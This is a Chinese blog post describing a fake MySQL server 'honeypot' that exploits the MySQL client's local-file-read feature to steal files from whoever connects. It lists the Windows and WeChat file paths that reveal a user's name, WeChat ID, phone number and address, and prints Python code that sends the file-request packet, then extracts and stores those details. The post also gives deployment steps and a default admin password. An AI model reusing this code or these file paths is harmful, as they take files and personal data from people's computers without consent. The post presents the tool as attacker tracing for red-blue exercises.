通過蜜罐技術獲取攻擊者手機號、微信號

相關聲明

以下內容僅限用于紅藍攻防對抗等專業領域,請勿用于非法用途。

雜談

首先,我們先講一下蜜罐的概念,你可以簡單理解較為蜜罐就是一個陷阱,故意暴露一些我們人為設計好的漏洞,讓攻擊者自投羅網。

蜜罐介紹

蜜罐是對攻擊者的欺騙技術,用以監視、檢測、分析和溯源攻擊行為,其沒有業務上的用途,所有流入/流出蜜罐的流量都預示著掃描或者攻擊行為,因此可以比較好的聚焦于攻擊流量。

蜜罐可以實現對攻擊者的主動誘捕,能夠詳細地記錄攻擊者攻擊過程中的許多痕跡,可以收集到大量有價值的數據,如病毒或蠕蟲的源碼、黑客的操作等,從而便于提供豐富的溯源數據。另外蜜罐也可以消耗攻擊者的時間,基于JSONP等方式來獲取攻擊者的畫像。

但是蜜罐存在安全隱患,如果沒有做好隔離,可能成為新的攻擊源。

Fake Mysql

這里再提一下Fake Mysql的概念,通過偽裝Mysql服務器,誘導攻擊者來連接,利用漏洞來讀取攻擊者電腦的文件從而就有了下面的內容

蜜罐技術獲取手機號、微信號、地址

那么如何通過這種技術獲取攻擊者的手機號和微信呢?

正常獲取的思路

我們先來講一下讀取手機號和微信ID的正常方法,分為以下三個步驟

通過C:/Windows/PFRO.log獲取windows用戶名

通過C:/Users/用戶名/Documents/WeChat Files/All Users/config/config.data獲取wxid

通過C:/Users/用戶名/Documents/WeChat Files/wx_id/config/AccInfo.dat獲取地址、微信號、手機號

獲取windows用戶名

我們這里在自己的電腦中進行測試,打開C:/Windows/PFRO.log,可以看到我的用戶名是66396


獲取wxid

然后,我們訪問C:/Users/66396/Documents/WeChat Files/All Users/config/config.data

這里可以獲取到wxid

獲取手機號、微信號、地址

可以看到手機號

還有地址、微信號都有

上面是黑客入侵后,查看電腦中的文件可以獲取到的信息,那么如何設計一個蜜罐,讓黑客在攻擊時自投羅網,幫助我們防守方溯源到攻擊者的信息呢?

核心代碼

如何把上述過程進行自動化呢?我們可以看下核心代碼

下面的代碼主要有兩個作用

1.判斷是否為掃描器或者密碼爆破工具,進行交互握手,效果是掃描器直接爆3306弱口令。

2.如果是直接連接,去讀取設定好的文件,并寫入本地保存。

def mysql_get_file_content(filename,conn,address):

? ? logpath = os.path.abspath('.') + "/log/" + address[0]

? ? if not os.path.exists(logpath):

? ? ? ? os.makedirs(logpath)

? ? conn.sendall("xxx")

? ? try:

? ? ? ? conn.recv(1024000)

? ? except Exception as e:

? ? ? ? print(e)

? ? try:

? ? ? ? conn.sendall("xx")

? ? ? ? res1 = conn.recv(1024000)

? ? ? ? # SHOW VARIABLES

? ? ? ? if 'SHOW VARIABLES' in res1:

? ? ? ? ? ? conn.sendall("xxx")

? ? ? ? ? ? res2 = conn.recv(9999)

? ? ? ? ? ? if 'SHOW WARNINGS' in res2:

? ? ? ? ? ? ? ? conn.sendall("xxx")

? ? ? ? ? ? ? ? res3 = conn.recv(9999)

? ? ? ? ? ? ? ? if 'SHOW COLLATION' in res3:

? ? ? ? ? ? ? ? ? ? conn.sendall("xxx")

? ? ? ? ? ? ? ? ? ? res4 = conn.recv(9999)

? ? ? ? ? ? ? ? ? ? if 'SET NAMES utf8' in res4:

? ? ? ? ? ? ? ? ? ? ? ? conn.sendall("xxx")

? ? ? ? ? ? ? ? ? ? ? ? res5 = conn.recv(9999)

? ? ? ? ? ? ? ? ? ? ? ? if 'SET character_set_results=NULL' in res5:

? ? ? ? ? ? ? ? ? ? ? ? ? ? conn.sendall("xxx")

? ? ? ? ? ? ? ? ? ? ? ? ? ? conn.close()

? ? ? ? ? ? ? ? ? ? else:

? ? ? ? ? ? ? ? ? ? ? ? conn.close()

? ? ? ? ? ? ? ? else:

? ? ? ? ? ? ? ? ? ? conn.close()

? ? ? ? ? ? else:

? ? ? ? ? ? ? ? conn.close()

? ? ? ? else:

? ? ? ? ? ? try:

? ? ? ? ? ? ? ? wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename

? ? ? ? ? ? ? ? conn.sendall(wantfile)

? ? ? ? ? ? ? ? content=''

? ? ? ? ? ? ? ? while True:

? ? ? ? ? ? ? ? ? ? data = conn.recv(1024)

? ? ? ? ? ? ? ? ? ? print len(data)

? ? ? ? ? ? ? ? ? ? content += data

? ? ? ? ? ? ? ? ? ? if len(data) < 1024:

? ? ? ? ? ? ? ? ? ? ? ? print 'ok'

? ? ? ? ? ? ? ? ? ? ? ? break


? ? ? ? ? ? ? ? conn.close()

? ? ? ? ? ? ? ? item=logpath + "/" + filename.replace("/", "_").replace(":", "")+'_'+str(random.random())

? ? ? ? ? ? ? ? if len(content) > 6:

? ? ? ? ? ? ? ? ? ? with open(item, "w") as f:

? ? ? ? ? ? ? ? ? ? ? ? f.write(content)

? ? ? ? ? ? ? ? ? ? ? ? f.close()

? ? ? ? ? ? ? ? ? ? return (True,content)

? ? ? ? ? ? ? ? else:

? ? ? ? ? ? ? ? ? ? return (False,content)

? ? ? ? ? ? except Exception as e:

? ? ? ? ? ? ? ? print (e)

? ? except Exception as e:

? ? ? ? print (e)



為了防止讀取文件內容不完整,可以加入while循環。

while True:

? ? ? ? conn, address = sv.accept()

? ? ? ? first_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")

? ? ? ? global files1

? ? ? ? global username

? ? ? ? global wx_id

? ? ? ? file=files1[0].replace('Administrator',username).replace('wx_id',wx_id)

? ? ? ? res,content = mysql_get_file_content(file,conn,address)

? ? ? ? files1.append(files1[0])

? ? ? ? files1.remove(files1[0])

? ? ? ? if res:

? ? ? ? ? ? if 'PFRO' in file:

? ? ? ? ? ? ? ? username = get_username(content)

? ? ? ? ? ? ? ? s= "xx" % (xx)

? ? ? ? ? ? ? ? cursor.execute(s)

? ? ? ? ? ? ? ? data = cursor.fetchall()

? ? ? ? ? ? ? ? if len(data)==0:

? ? ? ? ? ? ? ? ? ? s = "XX" % (xx)

? ? ? ? ? ? ? ? ? ? cursor.execute(s)

? ? ? ? ? ? ? ? ? ? db.commit()

? ? ? ? ? ? ? ? ? ? print 'success:'+ file

? ? ? ? ? ? ? ? ? ? insert_file(file,address,username)

? ? ? ? ? ? elif 'config.data'in file:

? ? ? ? ? ? ? ? content = content

? ? ? ? ? ? ? ? wxid = re.findall(r'WeChatFiles\\(.*)\\config', content)[0]

? ? ? ? ? ? ? ? sql = "xxx" % (xxx)

? ? ? ? ? ? ? ? cursor.execute(sql)

? ? ? ? ? ? ? ? db.commit()

? ? ? ? ? ? ? ? wx_id=wxid

? ? ? ? ? ? ? ? img = qrcode.make('weixin://contacts/profile/'+wxid)

? ? ? ? ? ? ? ? img.save(os.path.abspath('.')+'/static/pic/'+wxid+'.png')

? ? ? ? ? ? ? ? print 'success:'+ file

? ? ? ? ? ? ? ? insert_file(file,address,username)

? ? ? ? ? ? elif 'AccInfo' in file:

? ? ? ? ? ? ? ? content = content

? ? ? ? ? ? ? ? phone = re.findall(r'[0-9]{11}', content)[-1]

? ? ? ? ? ? ? ? sql = "xxx" % (xxx)

? ? ? ? ? ? ? ? cursor.execute(sql)

? ? ? ? ? ? ? ? db.commit()

? ? ? ? ? ? ? ? print 'success:'+ file

? ? ? ? ? ? ? ? insert_file(file,address,username)

? ? ? ? else:

? ? ? ? ? ? files1=files

? ? ? ? ? ? username='Administrator'


工具下載


后臺回復:蜜罐

當然,熱心網友們最關心的還是工具效果展示,我們可以進行測試

我們需要先將工具下載下來傳入服務器

然后修改webServer.py中admin的密碼,當然,你也可以更換用戶名,這個根據個人習慣來修改。



然后通過docker啟用服務

然后運行本項目

docker-compose up -d

使用方法

攻擊者通常會發現我們網站的一些漏洞,我們這里使用蜜罐技術,故意暴露我們的數據庫,我們數據庫這里設置弱口令,讓攻擊者可以連接。

攻擊者在使用navicat連接我們的數據庫時成功后,我們可以執行代碼,讀取到它的手機號、微信號、地址



并可以在5000端口訪問后臺,輸入我們剛才設置的admin以及密碼fancypig

然后就可以看到攻擊者信息了!

?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容